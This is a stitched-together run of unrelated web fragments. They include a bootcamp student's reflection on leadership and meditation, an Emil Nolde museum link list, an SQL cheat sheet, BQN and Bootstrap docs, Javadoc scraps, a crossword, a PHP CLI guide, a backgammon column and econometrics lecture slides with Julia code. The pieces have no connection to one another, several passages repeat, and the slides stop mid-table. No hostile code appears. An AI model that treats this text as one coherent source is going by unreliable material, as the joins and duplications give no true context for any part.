I've had good experiences with compassionate leadership. When you have a compassionate leader, you feel like they understand you and have your best interest in mind. It motivates you to work harder to please them, as you feel like you are more working as a team rather than individuals. It is a reciprocal type of relationship, that if you both show compassion towards each other and other members in your team, that everyone will win. It also makes for a better workplace to be in, everyone is happy and looking out for one another!
The multiplying goodness meditation was good, it was nice to breathe in all your own goodness and then have it multiply and then breathe it out, it's hard not to feel happy and good about yourself when doing it. Then breathing in everyone else's goodness was even better, it made me feel empowered and that everyone else was supporting me, and then be able to give back by multiplying it and breathing it out felt really good!
The Tonglen meditation was a bit tougher, at first it was hard to imagine yourself suffering and your initial reaction is wanting to stop and not breathe it in. It felt good transforming it into goodness and then breathing it out into the world. The idea of breathing in other peoples suffering and being able to help them, felt good and made me feel more confident that you are able to make a difference and help people out by helping them process what they are going through.
Status through phase 0 has been fairly neutral, but also building. I found myself as I am becoming more competent with programming, that the status I give myself is growing as I compare myself now to my former self. I can see this to continue as bootcamp starts, as my learning and competency will continue to grow.
Certainty through out phase 0 has been pretty good, as there as been definite goals to work towards and knowing that there is help available if you get stuck. I can potentially see towards the end of bootcamp this certainty might diminish as the certainty of the course is in sight and soon you will be on your own, trying to do it for yourself.
Autonomy has been pretty good through out phase 0, as there is a lot of help available. Being through other members in the cohort experiencing the same thing as you, coaches from EDA so keen to get you unblocked and have you work it out for yourself, and having the whole internet at your disposal to try work out your problem. I think this will continue on the same level as bootcamp commences, but with even more assistance available, as there will be more face time.
Relatedness has been pretty strong through out phase 0. Everyone is friendly and has everyones best interest in mind, it is easy to think of everyone as friends and certainly not foes. I think this will continue to grow as bootcamps comes about, as everybody is on the same path, so it is everybody's best interest too be friendly and help one another out.
Fairness so far has been pretty good through out phase 0. With everyone being very respectful to one another. Similar to relatedness it is in everyones best interest to be fair to one another, as everyone is on the same journey.


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Art is exalted above religions and races. Not a single solitary soul these days believes in the religions of the Assyrians, the Egyptians, and the Greeks. And their races are exhausted, crossbred and spoiled. Only their art, whenever it was beautiful, stands proud and exalted, rising above all time.
| | - Emil Nolde, 1911, quoted in Twentieth-Century Artists on Art |
Emil Nolde Works Online
Categorized & Annotated
Commercial Galleries: Galleries: We invite you to register and list your site (no charge for this service)
Original works by Emil Nolde available for purchase at art galleries worldwide
Paintings in Museums and Public Art Galleries Worldwide:
Art Institute of Chicago NEW!
Dallas Museum of Art, Texas NEW! (There is a "Download" link for zooming in on some works, but confusingly this may take a while to become active)
Fine Arts Museums of San Francisco NEW!
Guggenheim Museum, New York City Young Horses (Junge Pferde), 1916
Hermitage Museum, Saint Petersburg, Russia Portrait of a Young Woman and a Child Portrait of a Man, ca.1926 Portrait of a Young Girl, 1913-14
Museum of Fine Arts, Houston, Texas Prophet, woodcut, 1912
Museum of Modern Art, New York City Prophet, 1921 (In the "Woodcut" section)
Museum of Modern Art, New York City Young Couple, 1913 (In the "Lithograph" section)
Museum of Modern Art, New York City Includes biographical information about the artist
National Galleries of Scotland, Edinburgh NEW!
National Gallery of Art, Washington D.C. NEW! Most but not all artists in the NGA database have works online
Nelson-Atkins Museum of Art, Missouri Masks, 1911 (Zoom)
Nolde Museum, Neukirchen, Germany
Yale University Art Gallery, New Haven, Connecticut The Doctor (Dr. Leber)
Art Collection of the Biblioteca Luis Ángel Arango, Colombia
Art Gallery of New South Wales, Sydney, Australia
Art Gallery of Ontario, Toronto - Provenance Research Ferieng�ste, ca.1915
Ball State Museum of Art, Indiana 2 works online
Blanton Museum of Art at the University of Texas, Austin Reclining Nude, 1908
Brooklyn Museum, New York City
Brücke Museum, Berlin-Dahlem, Germany
Cincinnati Art Museum, Ohio NEW! The Three Kings
Cleveland Museum of Art, Ohio
Columbus Museum of Art, Ohio Sunflowers in the Windstorm, 1943
Haifa Museum, Haifa, Israel
Harvard University Art Museums, Massachusetts Harvard have works in their collections, but unfortunately you have to type in the search yourself
Indianapolis Museum of Art, Indiana
Johnson Museum of Art at Cornell University, Ithaca, New York South Sea Islander
Kunsthalle zu Kiel, Germany (in German) Herbstwolken
Kunstmuseum Basel, Switzerland Alphabetically under "N"
Los Angeles County Museum of Art NEW!
MacKenzie Art Gallery, Saskatchewan
Museum Kunst Palast, Düsseldorf Gelehrter mit M�dchen, ca.1919
Museum of Modern Art, New York City - Provenance Research Project 3 works by Nolde
Muzeum Sztuki, Lodz, Poland Madonna with Begonia, 1924
Neue Galerie Museum for German and Austrian Art, New York City Priestesses, 1912
North Carolina Museum of Art, Raleigh
Österreichische Galerie Belvedere, Vienna
Österreichische Galerie Belvedere, Vienna
Palazzo Ruspoli, Rome (in Italian)
Philadelphia Museum of Art NEW!
Pomona College Museum of Art, California Click on "View objects by this artist"
Royal Museums of Fine Arts of Belgium Catalogue (in French) Blumengarten, 1926
Saint Louis Art Museum, Missouri Woman (in Strong Light), 1912
San Diego Museum of Art, California NEW!
Schleswig-Holstein Museums, Germany 10 works online
Smart Museum of Art at the University of Chicago
Staatsgalerie Stuttgart (in German) Dancers
Stiftung Moritzburg, Moritzburg, Germany (in German) Prophet, 1912
The Albertina, Vienna Moonlit Night, 1914
Thyssen-Bornemisza Museum, Madrid (Images are zoomable; click on the "expand" icon below the detail image)
Von der Heydt-Museum, Wuppertal, Germany (in German)
Wallraf-Richartz-Museum, Cologne, Germany (mostly in German)
National Art Databases and Museum Inventories:
Art Fund for UK Museums Wikinger
Art Market: (e.g. records of past sales at auction; sites providing examples of the artist's signature)
Art Signature Dictionary NEW!
Christie's Past Sale Archive (database goes as far back as 1991; images go about as far back as 1999)
Lempertz Auction Gallery, Cologne, Germany -- Highlights from Past Sales A total of 3 paintings online as you scroll down the page
Sotheby's Sold Lot Archive (database goes as far back as 1998; images where permitted by copyright go about as far back as 2001)
Pictures from Image Archives:
Emil Nolde at The Artchive
Emil Nolde at The Athenaeum 6 works online
World Visit Guide (formerly Insecula)
Bildindex der Kunst und Architektur (in German) (a welcome screen is displayed for a couple of seconds before the search results appear)
California State University WorldImages Database
Emil Nolde at CGFA
Ciudad de la Pintura (in Spanish)
El Poder de la Palabra (The Power of the Word) (in Spanish)
Rasiel's Wallpapers (Click on the size of the scan you wish to view)
State Hermitage Museum Unofficial Site
Additional Image Search Tools:
(SafeSearch set to "strict"; go to Advanced Search (Flickr/Google) or Preferences (Bing) to change)
Miscellaneous Sites:
Theobald Jennings Fine Art Dealers, London, UK -- Notable past sales Harvest Day, 1904
Articles and Reference Sites:
Encyclopedia Britannica complete article on Emil Nolde Note: The full version of the article is available only if you follow this link. If you bookmark the article and return later, or if you navigate directly to the Britannica website, you will see a 100-word preview only. Troubleshooting
Union List of Artist Names (Getty Museum) Reference sheet with basic information about the artist and pointers to other references.
Wikipedia, the "Open Content" Encyclopedia Biographical info
Tate Gallery, London, UK Biography only
"Look Inside" and "Search Inside" Books at Amazon
| Look Inside Books: | Selections from the books listed below are scanned in, in high res. Text is clearly readable and art reproductions vary from so-so to excellent. Don't miss the fact that you can usually zoom in via the "View" drop-down menu, along the top row of Amazon's Online Reader. | |
| Search Inside Books: | Same as "Look Inside", except that the entire book is scanned in, and the text is fully searchable. This is an unbelievable resource, for research and especially for previewing a book when making the decision to buy. Note: Some "Search Inside" features are limited to people signed in to an account which has previously made a purchase at Amazon. | |
search inside
Emil Nolde: Catalogue Raisonne of the Oil Paintings: 1915-1951
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SELECT usage
Selects all the rows from the table
SELECT * FROM tablename
Selects from certain fields from the table
SELECT field_name1, field_name2
FROM tablename
Selects from field in the table AND orders it by criteria
SELECT field_name
FROM tablename
ORDER BY category ASC (ASC or DESC)
JOIN usage
Joins rows from both tables.
SELECT table1.field, table2.field
FROM table1
INNER JOIN table
ON table1.id = table2.region_id
ORDER BY region_id ASC;
WHERE usage
Allows you to select the fieldname from the table in the selected (where) column (fieldname2).
SELECT fieldname
FROM table
WHERE fieldname = "fieldname2"


∊
)∊ 𝕩
: Mark FirstsMark the first occurrence of each major cell in 𝕩
with a 1, and all other occurrences with a 0.
∊ 4‿5‿6‿6‿4‿7‿5 ⟨ 1 1 1 0 0 1 0 ⟩ a ← 3‿3 ⥊ ↕9 ∊ a ⟨ 1 1 1 ⟩
𝕨 ∊ 𝕩
: Member OfIs each cell in 𝕨
a major cell of 𝕩
?
⟨1⟩ ∊ ↕9 ⟨ 1 ⟩ b ← 3‿3 ⥊ ↕9 ⟨0‿1‿2⟩ ∊ b ┌· · 0 ┘ ⟨1‿3 ⥊ 0‿1‿2⟩ ∊ b ┌· · 0 ┘


Start Bootstrap - Modern Business
Modern Business is a multipurpose, full website template for Bootstrap created by Start Bootstrap. This template includes 17 unique HTML pages and a working PHP contact form.
Getting Started
To use this template, choose one of the following options to get started:
- Download the latest release on Start Bootstrap
- Fork this repository on GitHub
Bugs and Issues
Have a bug or an issue with this template? Open a new issue here on GitHub or leave a comment on the template overview page at Start Bootstrap.
Creator
Start Bootstrap was created by and is maintained by David Miller, Managing Parter at Iron Summit Media Strategies.
Start Bootstrap is based on the Bootstrap framework created by Mark Otto and Jacob Thorton.
Copyright and License
Copyright 2013-2015 Iron Summit Media Strategies, LLC. Code released under the Apache 2.0 license.


...
In order to use this, make sure you first configure spring.social.twitter.appId and spring.social.twitter.appSecret in
config/application.yml
first!
Configure Twitter Scanner
What regex should be used to scan?
Twitter Scan enabled
Which lamp group should blink?
What twitter accounts should be scanned? (Ex: SonieTV,NastyaFoxi,LIRIK)
Save


HLLCounter
and the one passed in.HLLCounter
and all the ones passed in.HLLWritable
that contains a
representation of combining its internal
HLLCounter
's representation with
the other's.HLLWritable
is equivalent to the given Object
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internal structures.HLLCounter
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large sets with a compact data structure.HLLCounter
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of items with precision DEFAULT_P
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deserialization of HLLCounter
objects in a
Hadoop framework.HLLWritable
that contains a representation
of the default HLLCounter
constructed by
HLLCounter()
.HLLWritable
that contains a representation
of the provided HLLCounter
.HLLWritable
with the given set of fields.HLLCounters
.HLLCounter
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representation.HLLCounter
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structure.HLLCounter
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representation.HLLCounter
in this HLLWritable
.HLLCounter
structure.String
representation of this
HLLWritable
.HLLWritable
to the given
DataOutput
.Copyright © 2014. All rights reserved.


Across: 7. A bit of spinning observatory gear? (4) 8. Greater parts of general leadership missing in urban centres (10) 10. Goth sure beaten up... most unfair! (8) 11. Least restrained sort of prophet returning during extremes of ferment (6) 12. Inert, "Element Ten" excited none (5) 13. In the end, swayed dramatically to centre in weekly working group (9) 16. Security flaws are built in... veil's diverted! (15) 18. New plants lessen dig complications (9) 20. Moved second to last in group of four arriving close together (5) 22. Massages among declared "essential services?" (6) 24. Oceanic resident is eagle perhaps (8) 25. Approaching high ground, carry ammunition (10) 26. Still: an awesome thing hidden in the hills! (4) Down: 1. One side never getting to the right corner? (10) 2. Maybe steer with trombone? (8) 3.  Academic crazily cast out first three... and not in a sacred way! (9) 5. Does what you shouldn't to unmentionables.... snips top off (6) 6. You might try to catch some and get forty winks (4) 9. Dancing jig, get big turn out (13) 14. One to cure fellows with poet (they can be good for the constitution) (10) 15. Corgi as tickler, provided as a royal sexual indulgence? (9) 17. Fierce contests for small container of ashes? Oddly, yes! (8) 19. Doctors control rearward movements of air (6) 21. Lucky not having a stable arrangement (5) 23. Urbane attendants serve vodka like this mostly (4)


{$ github.githubLinks(doc.longDescriptionDoc, cliVersionInfo) $} Description
{$ doc.longDescription | marked $} {% endif%} {% if doc.subcommands.length %}This command has the following sub-commands:
-
{% for subcommand in doc.subcommands %}
- {$ subcommand.name $} {% endfor %}


Search
Queue
Stats
Most Upvoted Song
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1
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Song
Artist
Upvotes
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1
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close


Ngx Charts is an angular library for presenting data in chart. This library is easy to integrate in your angular component. This library supports Horizontal Bar, Vertical Bar, Pie, Donuts and Line chart. In this libray use D3 to calculate math, scale, axis and shape.
You can install via NPM.
npm install @tusharghoshbd/ngx-charts
Import in module file:
{{import}}


CLI (command-line interface)
CLI is the command-line interface included with Crater PHP Framework. It provides a number of helpful commands for your use while developing your application.
Listing all available commands
To view a list of all available CLI category commands, you may use command:
$ cd /var/www/crater/App $ php cli
BUILD command
With build command, you can generate a new controller, model, view or template
For help menu, type:
$ php cli build
MIGRATE command
With migrate command, you can create and manage the migration files
First of all, you need to change config file for access at your database. After this, you need to init Crater migration with following command:
$ php cli migrate init
In the next step, you need generate a new migration file:
$ php cli migrate new name_of_migration
After that, you will find a new file in App/Data/Migrations called<PHONE_NUMBER>_name_of_migration.php
The created class will have the timestamp of its creation in the class name as well as in the file name. This is the version of that migration.
The migration file looks like:
/* * name_of_migration migration file * * @author Author * @version 1.0 * @date 4/20/2015 */ class Migration_1428642875 extends \Core\Migration { public function up() { } public function down() { } }
Migration methods
The following methods are available in up() and down() methods of a migration:
- createTable($name, $columns)
- dropTable($name)
- addColumn($table, $name, $options)
- dropColumn($table, $name)
- addIndex($table, $columns)
- dropIndex($table, $indexName)
- query($sql)
Please view examples heading on how to use the above methods.
Apply Migration
After you have created a migration, all you have to do to update your database is run:
$ php cli migrate apply
Rollback Migration
To rollback the database schema you run the following command:
$ php cli migrate rollback [version]
where [version] is the timestamp of the version you want to reach to back in time.
Examples
class Migration_1428642851 extends \Core\Migration { public function up() { $this->createTable('user', array( 'user_id' => array('type' => 'int', 'unsigned' => true, 'primary' => true, 'ai' => true), 'first_name' => array('type' => 'varchar', 'length' => 60, 'null' => true), 'last_name' => array('type' => 'varchar', 'length' => 60, 'null' => true), 'email' => array('type' => 'varchar', 'length' => 40, 'null' => false), )); $this->addColumn('product', 'name', array( 'type' => 'varchar', 'after' => 'id' )); $this->addIndex('user', 'email', 'unique'); $this->query("UPDATE user SET name = 'john' WHERE name = 'johnny'"); } public function down() { $this->dropColumn('product', 'name'); $this->dropTable('user'); } }↑


5 references to ResolveShell
System.Management.Automation (5)
engine\remoting\commands\ConnectPSSession.cs (1)
130
_shell =
ResolveShell
(value);
engine\remoting\commands\InvokeCommandCommand.cs (1)
960
ConfigurationName =
ResolveShell
(null);
engine\remoting\commands\newrunspacecommand.cs (1)
195
ConfigurationName =
ResolveShell
(null);
engine\remoting\commands\PushRunspaceCommand.cs (1)
221
ConfigurationName =
ResolveShell
(null);
engine\remoting\commands\ReceivePSSession.cs (1)
163
_shell =
ResolveShell
(value);


pips Red=121 White=124
(CorrectAnswer= 0/0, ErrorScore= 0)
Like nearly all ancient games backgammon is a representation of war. In this particular war each army has fifteen soldiers. With such a small number of soldiers it is important that they all play their part in the battles. If you fight with fourteen men against fifteen, assuming equal skill levels, the larger force will prevail in the end.
Occasionally you have no choice other than to put a third checker on your ace-point but you have to recognise that checker will play no useful part in the rest of the game and is effectively dead. Even a third checker on the 2-pt when you have an open ace-point is to be avoided. The checker can only usefully go the ace-point and so has limited options. That third checker is known as a ‘dilly’ builder.
You should always strive to keep all of your checkers (soldiers) in play as long as possible. As an example, let us look at this position sent to me by Leo Waters. Black has double threes to play.
After the forced bar/22 it is clear that one of the outside points must be moved. As Black wants to maintain maximum pressure on both of White’s outer board points it is obvious that 13/10(2) is correct. This maintains the pressure but also gives Black some playability for his next turn when, if necessary, he will dismantle the 10-pt he has just made.
The key is in the last three. Many would play 5/2, limiting the inner point blots to one, at a time when Black is about to possibly get a shot. However, 5/2 creates the dilly builder we have just discussed and which is to be avoided. The correct play by a huge margin is 4/1, despite the two inner board blots,
The checkers on the 10-pt will be used to remake the 5-pt and 4-pt and a 1 next turn can be used to tidy up the blots by remaking the 4-pt. Thus, all the soldiers are still active parts of the army. In XG terms playing 5/2 with the fourth three is very nearly a blunder.
If you try out both plays by moving the checkers then you quickly realise how ugly bar/22, 13/10(2), 5/2 looks in comparison to bar/22, 13/10(2), 4/1. Sometimes aesthetics can help to guide you to the right play. Meanwhile, keep those soldiers on the field of battle!
Occasionally you have no choice other than to put a third checker on your ace-point but you have to recognise that checker will play no useful part in the rest of the game and is effectively dead. Even a third checker on the 2-pt when you have an open ace-point is to be avoided. The checker can only usefully go the ace-point and so has limited options. That third checker is known as a ‘dilly’ builder.
You should always strive to keep all of your checkers (soldiers) in play as long as possible. As an example, let us look at this position sent to me by Leo Waters. Black has double threes to play.
After the forced bar/22 it is clear that one of the outside points must be moved. As Black wants to maintain maximum pressure on both of White’s outer board points it is obvious that 13/10(2) is correct. This maintains the pressure but also gives Black some playability for his next turn when, if necessary, he will dismantle the 10-pt he has just made.
The key is in the last three. Many would play 5/2, limiting the inner point blots to one, at a time when Black is about to possibly get a shot. However, 5/2 creates the dilly builder we have just discussed and which is to be avoided. The correct play by a huge margin is 4/1, despite the two inner board blots,
The checkers on the 10-pt will be used to remake the 5-pt and 4-pt and a 1 next turn can be used to tidy up the blots by remaking the 4-pt. Thus, all the soldiers are still active parts of the army. In XG terms playing 5/2 with the fourth three is very nearly a blunder.
If you try out both plays by moving the checkers then you quickly realise how ugly bar/22, 13/10(2), 5/2 looks in comparison to bar/22, 13/10(2), 4/1. Sometimes aesthetics can help to guide you to the right play. Meanwhile, keep those soldiers on the field of battle!
1. Cubeful 2-ply 8/5(2) 6/3(2) Eq.: +0.347 0.580 0.205 0.013 - 0.420 0.105 0.004 2. Cubeful 2-ply 24/21(2) 8/5(2) Eq.: +0.290 (-0.057) 0.568 0.175 0.007 - 0.432 0.078 0.002 3. Cubeful 2-ply 24/21(2) 13/10(2) Eq.: +0.286 (-0.061) 0.573 0.162 0.006 - 0.427 0.083 0.002 4. Cubeful 2-ply 13/10(2) 6/3(2) Eq.: +0.279 (-0.068) 0.569 0.192 0.011 - 0.431 0.112 0.004 5. Cubeful 2-ply 24/21(2) 6/3(2) Eq.: +0.275 (-0.072) 0.569 0.159 0.007 - 0.431 0.080 0.002


class: center, middle, inverse, title-slide # Lecture 13 ## Learning Models ### Tyler Ransom ### ECON 6343, University of Oklahoma --- # Plan for the Day 1. Learning from noisy signals 2. How learning models relate to factor models 3. Bayesian updating & the Kalman filter 4. How to code learning models 5. Examples of learning models in economics --- # Attribution Some of these slides are based on content from Peter Arcidiacono's course on learning models. --- # Imperfect information - Imperfect information abounds in economics (and real life) - life is full of "noisy signals" - see also: "it's better to be lucky than good" - how do we know someone or something is "lucky" or "good"? - how do we know a restaurant we visited for the first time is actually good? - how do we know we didn't just happen to get their best dish on a good night? --- # Tractable imperfect information - How do we estimate models where a person has imperfect information? - We've done some of this already with dynamic discrete choice models: - people can't see the future - instead, have expectations about their future states & preference shocks - we compute individuals' expectations according to the `\(\mathbb{E}\max\)` formula - we impose a strong assumption on the distribution of `\(\epsilon\)` - That way, we can tractably compute the `\(\mathbb{E}\max\)` --- # How learning works - Consider a setting where an agent is trying to learn about something, call it `\(a_i\)` - For simplicity, assume `\(a_i\)` is continuous and drawn from CDF `\(F_a\)` - The agent doesn't know the exact value of `\(a_i\)`, but has beliefs denoted `\(\mathbb{E}_t [a_i]\)` - He gains additional information about `\(a_i\)` from a noisy signal `\(S_{it}\)` - That is, `\(S_{it} = a_i + \varepsilon_{it}\)` where `\(\varepsilon_{it}\)` is pure noise - The agent updates his beliefs to `\(\mathbb{E}_{t+1} [a_i]\)` by incorporating the new information in `\(S_{it}\)` - This process repeats itself in each period where `\(S_{it}\)` is received --- # A little bit more math - If `\(\varepsilon_{it}\)` is pure noise, then it is independent of `\(a_i\)` for all `\(t\)` - Assume WLOG that `\(\mathbb{E}(a_{i})=0\)` and `\(\mathbb{E}(\varepsilon_{it})=0\)` for all `\(t\)` - Then we can decompose the variance of the signal `\(S_{it}\)` `\begin{align*} \mathbb{V}(S_{it}) &= \mathbb{V}(a_{i}) + \mathbb{V}(\varepsilon_{it})\\ &= \sigma^2_a + \sigma^2_{\varepsilon} \end{align*}` - The .hi[signal-to-noise ratio (SNR)] is defined as `\begin{align*} \frac{\mathbb{V}(S_{it})}{\mathbb{V}(\varepsilon_{it})} &= \frac{\sigma^2_a + \sigma^2_{\varepsilon}}{\sigma^2_{\varepsilon}}\\ \end{align*}` - This ratio measures the quality of the signal (bigger is better) --- # Semantic detail - Some people call the signal the "meaningful input" rather than the input + noise - In this case, the SNR would be `\begin{align*} \frac{\mathbb{V}(a_{i})}{\mathbb{V}(\varepsilon_{it})} &= \frac{\sigma^2_a}{\sigma^2_{\varepsilon}}\\ \end{align*}` - I couldn't find a consensus on this, so just make sure you keep track of things --- # Connection to factor models - In factor models, we have `\(J\)` correlated noisy measurements `\(M_j\)` - We try to separate the "factor" from `\(M\)` using correlation across the `\(M_j\)`'s - Factor models also involve a composite error term (can label it `\(a_i + \varepsilon_{ij}\)`) - .hi[Difference:] True value of the factor is known to the individual but not the researcher - In learning models, the factor is unknown to both the researcher and the individual - Learning models require panel data --- # Learning models and factor models - Rather than being substitutes, these two types of models are .hi[complements] - Factor models recognize that agents might possess some private information - Learning models underscore the potential importance of unknown information - If we ignored private information, that might distort what we call "learning" --- # Bayesian updating of beliefs - How exactly do agents update their beliefs given new information in `\(S_{it}\)`? - The simplest way to handle this is to assume .hi[Bayesian updating] - As the name implies, this comes from Bayes' rule - Given a .hi[prior] mean and variance belief `\(\mathbb{E}_t[a_i]\)` and `\(\mathbb{V}_t[a_i]\)`, agents update according to `\begin{align*} \mathbb{E}_{t+1}[a_i] &= \mathbb{E}_t[a_i]\frac{\sigma^2_\varepsilon}{\sigma^2_\varepsilon + \mathbb{V}_t[a_i]} + S_{it}\frac{\mathbb{V}_t[a_i]}{\sigma^2_\varepsilon + \mathbb{V}_t[a_i]} \\ \mathbb{V}_{t+1}[a_i] &= \mathbb{V}_t[a_i] \frac{\sigma^2_\varepsilon}{\sigma^2_\varepsilon + \mathbb{V}_t[a_i]} \end{align*}` - `\(\mathbb{E}_{t+1}[a_i]\)` and `\(\mathbb{V}_{t+1}[a_i]\)` are referred to as the .hi[posterior] beliefs --- # Properties of Bayesian Learning 1. `\(\mathbb{V}_{t+1}[a_i]>0\)` for all `\(t\)` - One is never completely certain of what he has learned 2. If `\(\sigma^2_a>0\)` then `\(\frac{\partial\mathbb{V}_{t+1}[a_i]}{\partial t}<0\)` - As additional signals are received, uncertainty of beliefs goes down 3. If `\(\sigma^2_a>0\)` then `\(\lim_{t\rightarrow\infty}\mathbb{V}_{t+1}[a_i] = 0\)` - In the limit, uncertainty of beliefs vanishes 4. The .hi[speed of learning] is dictated by the signal-to-noise ratio - These properties may not be desirable, but they are intrinsic to Bayesianism --- # Non-Bayesian updating - Bayesian updating is so popular because the math works out nicely - This is because of what is known as a .hi[conjugate prior] (read Wikipedia) - If we assume a different kind of updating, the math could get ugly real quick - But a lot of properties of Bayesian updating make sense (e.g. `\(\lim_{t\rightarrow\infty}\mathbb{V}_{t+1}[a_i] = 0\)`) - Moreover, we often don't know people's beliefs - If we had detailed data on people's beliefs, that would allow us to be more flexible - Sort of like how getting stated preference data aids estimation of choice models --- # Other considerations - Things get more complicated if the signal is not continuous - Naturally, a discrete signal will provide less information - e.g. Pass/Fail on an exam, versus a 0-100 score - Another complication is if the signal is selected - For example, I only see a wage signal if I have a job - In this case, we need a choice model to resolve the sample selection problem - We'll talk about this towards the end of today's class --- # The Kalman filter - The .hi[Kalman filter] is a generalization of Bayesian updating of a learning model - Most common [application](http://greg.czerniak.info/guides/kalman1/): remote sensing of aircraft/spacecraft - Any given sensor sends back a "noisy" signal about exact location - Multiple sensors acting in sequence can provide more reliable location info - Another cool example: estimating the `\(R_0\)` of SARS-Cov-2 - Arroyo Marioli, Bullano, Kucinskas, and Rondon-Moreno (2020) - They created a neat continuously updated [dashboard](http://trackingr-env.eba-9muars8y.us-east-2.elasticbeanstalk.com/) - `\(R_0\)` tends to 1 in equilibrium, as predicted by [Joshua Gans](https://joshuagans.substack.com/p/why-r-tends-towards-1) --- # Multidimensional learning - What would Bayesian updating look like if `\(a_i\)` were a vector rather than a scalar? - Let `\(A_i\)` denote the vector, and suppose its population covariance is `\(\Delta\)` - `\(\mathbf{S}_{it} = A_i + \boldsymbol\varepsilon_{it}\)` is a vector-valued signal `\begin{align*} \mathbb{E}_{t+1}[A_i]&=(\mathbb{V}^{-1}_{t}[A_i] + \Omega_{it})^{-1}(\mathbb{V}^{-1}_{t}[A_i]\mathbb{E}_{t}[A_i]+\Omega_{it}\mathbf{S}_{it}) \\ \mathbb{V}_{t+1}[A_i]&=(\mathbb{V}^{-1}_{t}[A_i] + \Omega_{it})^{-1} \end{align*}` - `\(\Omega_{it}\)` is a diagonal matrix with `\(\frac{1}{\sigma^2_{\varepsilon_j}}\)` in the `\((j,j)\)` element - Elements of `\(\Omega\)` and `\(\mathbf{S}\)` are set to 0 for signals that aren't received - (in other words, not all signals need to be received in every period) --- # Updating, step by step - This example will hopefully clarify how updating works - In period 1, the individual begins with prior beliefs `\((\mathbb{E}_1[a_i],\mathbb{V}_1[a_i])\)` - Usually, set these to the population values `\((0,\sigma^2_a)\)` for all individuals - Then, a signal `\(S_{i1}\)` is received and beliefs are updated according to the formulas: `\begin{align*} \mathbb{E}_{2}[a_i] &= \underbrace{\mathbb{E}_1[a_i]}_{0}\frac{\sigma^2_\varepsilon}{\sigma^2_\varepsilon + \underbrace{\mathbb{V}_1[a_i]}_{\sigma^2_a}} + S_{i1}\frac{\overbrace{\mathbb{V}_1[a_i]}^{\sigma^2_a}}{\sigma^2_\varepsilon + \underbrace{\mathbb{V}_1[a_i]}_{\sigma^2_a}}\\ & = \frac{S_{i1}\sigma^2_a}{\sigma^2_\varepsilon + \sigma^2_a} \end{align*}` --- # Updating the variance - When `\(S_{i1}\)` is received, `\(i\)` updates the variance as follows: `\begin{align*} \mathbb{V}_{2}[a_i] &= \underbrace{\mathbb{V}_1[a_i]}_{\sigma^2_a} \frac{\sigma^2_\varepsilon}{\sigma^2_\varepsilon + \underbrace{\mathbb{V}_1[a_i]}_{\sigma^2_a}}\\ & = \frac{\sigma^2_a\sigma^2_\varepsilon}{\sigma^2_\varepsilon + \sigma^2_a} \end{align*}` - It is straightforward to show that `\(\mathbb{V}_{2}[a_i]<\mathbb{V}_{1}[a_i]\)` when `\(\sigma^2_a>0\)` --- # Estimating a simple learning model - Let's estimate a simple learning model - Suppose the signals are log wage residuals - Individuals are trying to ascertain their ability from these residuals `\begin{align*} \log w_{it} &= X\beta + a_i + \varepsilon_{it} \end{align*}` - We want to estimate `\((\beta,\sigma^2_a,\sigma^2_\varepsilon)\)` by maximum likelihood - We also want to recover each person's beliefs at each point in time - Let's also compare the results with those from other panel data estimators (FE, RE) - .hi[Note:] our learning model assumes `\(a_i \perp X\)` so is identical to RE --- # Estimation code - In the single linear equation case, estimation is identical to RE (so just use RE) - For a multidimensional learning case, see [this Github repository](https://github.com/tyleransom/LearningModels) - Let's estimate the simple learning model from the previous slide .scroll-box-12[ ```julia using Random, Statistics, LinearAlgebra, DataFrames, DataFramesMeta, CSV, FixedEffectModels, MixedModels df = CSV.read("nlswlearn.csv") dfuse = df[df.ln_wage.!=999,:] # FE @show reg(dfuse, @formula(ln_wage ~ 1 + exper*exper + collgrad + race1 + fe(idcode)), Vcov.cluster(:idcode)) # RE categorical!(dfuse, :idcode) @show fm1 = fit(MixedModel, @formula(ln_wage ~ 1 + exper*exper + collgrad + race1 + (1|idcode)), dfuse) # gives σ²_ε = .092187 and σ²_a = 0.106297 # Add columns to data indicating the signal (S_{it}) and prior/posterior mean/variances sig_eps = .092187 df = @transform(df, signal = :ln_wage .- coef(fm1)[1] .- coef(fm1)[2].*:exper .- coef(fm1)[3]*:collgrad .- coef(fm1)[4].*:race1 .- coef(fm1)[5].*:exper.^2, priorEbelief = zeros(length(:ln_wage)), postrEbelief = zeros(length(:ln_wage)), priorVbelief = 0.106297*ones(length(:ln_wage)), postrVbelief = 0.106297*ones(length(:ln_wage))) # loop through to apply belief formulas for i = 1:N for t=1:T rowt = (i-1)*T+t row1 = (i-1)*T+t+1 if df.ln_wage[rowt]==999 # didn't get a signal this period df.signal[rowt] = 0 df.postrEbelief[rowt] = df.priorEbelief[rowt] df.postrVbelief[rowt] = df.priorVbelief[rowt] else # these are the formulas from the slides df.postrEbelief[rowt] = df.priorEbelief[rowt]*(sig_eps./(sig_eps + df.priorVbelief[rowt])) + df.signal[rowt]*(df.priorVbelief[rowt])./(sig_eps + df.priorVbelief[rowt]) df.postrVbelief[rowt] = df.priorVbelief[rowt]*(sig_eps./(sig_eps + df.priorVbelief[rowt])) end if t<T # set prior in t+1 to be posterior from t except in very last period df.priorEbelief[row1] = df.postrEbelief[rowt] df.priorVbelief[row1] = df.postrVbelief[rowt] end end end ``` ] --- # Looking at the belief updating .scroll-box-20[ ```julia │ Row │ ln_wage │ idcode │ t │ signal │ priorEbelief │ postrEbelief │ priorVbelief │ postrVbelief │ ├───────┼─────────┼────────┼───────┼────────────┼──────────────┼──────────────┼──────────────┼──────────────┤ │ 1 │ 999.0 │ 1 │ 1 │ 0.0 │ 0.0 │ 0.0 │ 0.106297 │ 0.106297 │ │ 2 │ 999.0 │ 1 │ 2 │ 0.0 │ 0.0 │ 0.0 │ 0.106297 │ 0.106297 │ │ 3 │ 1.45121 │ 1 │ 3 │ 0.071744 │ 0.0 │ 0.0384221 │ 0.106297 │ 0.0493702 │ │ 4 │ 1.02862 │ 1 │ 4 │ -0.436915 │ 0.0384221 │ -0.127359 │ 0.0493702 │ 0.0321516 │ │ 5 │ 1.58998 │ 1 │ 5 │ 0.0476647 │ -0.127359 │ -0.082101 │ 0.0321516 │ 0.0238378 │ │ 6 │ 1.78027 │ 1 │ 6 │ 0.17047 │ -0.082101 │ -0.0302093 │ 0.0238378 │ 0.0189402 │ │ 7 │ 1.77701 │ 1 │ 7 │ 0.167209 │ -0.0302093 │ 0.00343808 │ 0.0189402 │ 0.0157121 │ │ 8 │ 1.77868 │ 1 │ 8 │ 0.168878 │ 0.00343808 │ 0.0275291 │ 0.0157121 │ 0.0134241 │ │ 9 │ 2.49398 │ 1 │ 9 │ 0.825968 │ 0.0275291 │ 0.129018 │ 0.0134241 │ 0.0117178 │ │ 10 